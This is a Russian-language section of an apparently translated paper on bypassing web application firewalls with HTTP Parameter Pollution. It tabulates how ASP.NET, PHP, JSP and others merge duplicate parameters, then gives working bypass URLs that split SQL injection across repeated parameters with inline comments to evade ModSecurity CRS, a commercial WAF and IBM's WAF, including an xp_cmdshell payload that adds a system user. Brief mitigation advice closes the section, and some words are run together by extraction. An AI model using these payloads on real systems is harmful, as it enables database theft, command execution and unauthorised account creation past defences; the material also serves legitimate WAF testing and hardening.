[0x03] – Продвинутые техники обхода
[0x03] – Продвинутые техники обхода
В этом разделе мы предлагаем 2 техники: " HTTP Pollution: Разделяй и соединяй" и " HTTP ParameterContamination". Эти техники позволяют обходить множество открытых и коммерческих WAF.
[0x03a] - HTTP Parameter Pollution1: Разделяй и соединяй
HTTP Pollution – это новый класс уязвимостей к инъекции, описанный LucaCarettoni и StefanoDiPaola. HPP - очень простой но эффективный прием взлома. HPP атаки можно определить как возможность замещения или добавления GET/POST параметров через инъекцию в строке запроса.
Пример HPP: " http: //victim. com/search. aspx? par1=val1& par1=val2"
Обработка HTTP параметров: (пример)
Веб-сервер
| Интерпретация параметров
| Пример
| ASP. NET/IIS
| Склеивание через запятую
| par1=val1, val2
| ASP/IIS
| Склеивание через запятую
| par1=val1, val2
| PHP/Apache
| Результат – последнее значение
| par1=val2
| JSP/Tomcat
| Результат – первое значение
| par1=val1
| Perl/Apache
| Результат – первое значение
| par1=val1
| DBMan
| Склеивание через две тильды
| par1=val1~~val2
| Что случится с WAF, которые разбирают строку запроса перед применением фильтров? (HPP может использоваться даже для обхода WAF). Некоторые бестолковые WAF могут анализировать и проверять только одно вхождение параметра (первое или последнее). Всякий раз, когда соответствующая среда склеивает множественные вхождения параметра (ASP, ASP. NET, DBMan, …), атакующий может разделить вредоносный код.
В недавнем тесте на проникновение (опять) нам удалось обойти ImpervaSecureSphere используя " HPP+встроенный комментарий" в среде ASP/ASP. NET. С помощью этого приема можно обходить и коммерческие WAF. Болееподробнаяинформацияуказананиже:
#Примерыизреальногомира: 1. Mod Security CRS (Предоставил: LavakumarKuppan) The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked. Следующий запрос ModSecurity CRS считает атакой типа SQL-инъекция, и потому блокирует. Запрещено: http: //victim. com/search. aspx? q=select name, passwordfromusers Когда тот же код разделяется на несколько параметров с одинаковыми именами, ModSecurity его не блокирует. Пропущено: http: //victim. com/search. aspx? q=select name& q=passwordfromusers Посмотрим, что происходит. Вот интерпретация ModSecurity: q=selectname q=passwordfromusers А вот интерпретация ASP/ASP. NET: q=selectname, passwordfromusers *Замечание: подобную атаку можно провести и с POST-переменными.
2. Коммерческие WAF Запрещено: http: //victim. com/search. aspx? q=select name, passwordfromusers Теперь используем HPP+встроенный комментарий для обхода. Пропущено: http: //victim. com/search. aspx? q=select/*& q=*/name& amp; q=password/*& q=*/from/*& q=*/users Проанализируем. Вот интерпретация WAF: q=select/* q=*/name q=password/* q=*/from/* q=*/users Вот интерпретация ASP/ASP. NET: q=select/*, */name, password/*, */from/*, */users q=selectname, passwordfromusers
3. IBM WebApplicationFirewall (Предоставил: WendelGuglielmettiHenriqueof Trustwave'sSpiderLabs) Запрещено: http: //victim. com/news. aspx? id=1'; EXEC master.. xp_cmdshell “netuser zeq3ul UrWaFisShiT /add” -- Снова используем HPP+встроенный комментарий для обхода. Пропущено: http: //victim. com/news. aspx? id=1'; /*& id=1*/ EXEC /*& id=1*/ master.. xp_cmdshell /*& id=1*/ “netuserlucifer UrWaFisShiT” /*& id=1*/ -- Проанализируем. Вот интерпретация WAF: id=1’; /* id=1*/ EXEC /* id=1*/ master.. xp_cmdshell /* id=1*/ “netuser zeq3ul UrWaFisShiT” /* id=1*/ -- Вот интерпретация ASP/ASP. NET: id=1’; /*, 1*/ EXEC /*, 1*/ master.. xp_cmdshell /*, 1*/ “netuser zeq3ul UrWaFisShiT” /*, 1*/ -- id=1’; EXEC master.. xp_cmdshell “netuser zeq3ul UrWaFisShiT” --
Проще всего справиться с этой атакой WAF может, запретив множественные вхождения параметра в одном HTTP-запросе. Это предотвратит все разновидности данной атаки.
Однако, такой запрет может оказаться невозможным в случаях, когда защищаемому приложению необходима возможность множественных вхождений параметров. В этом случае WAF должен интерпретировать HTTP-запрос так же, как это сделало бы приложение.
|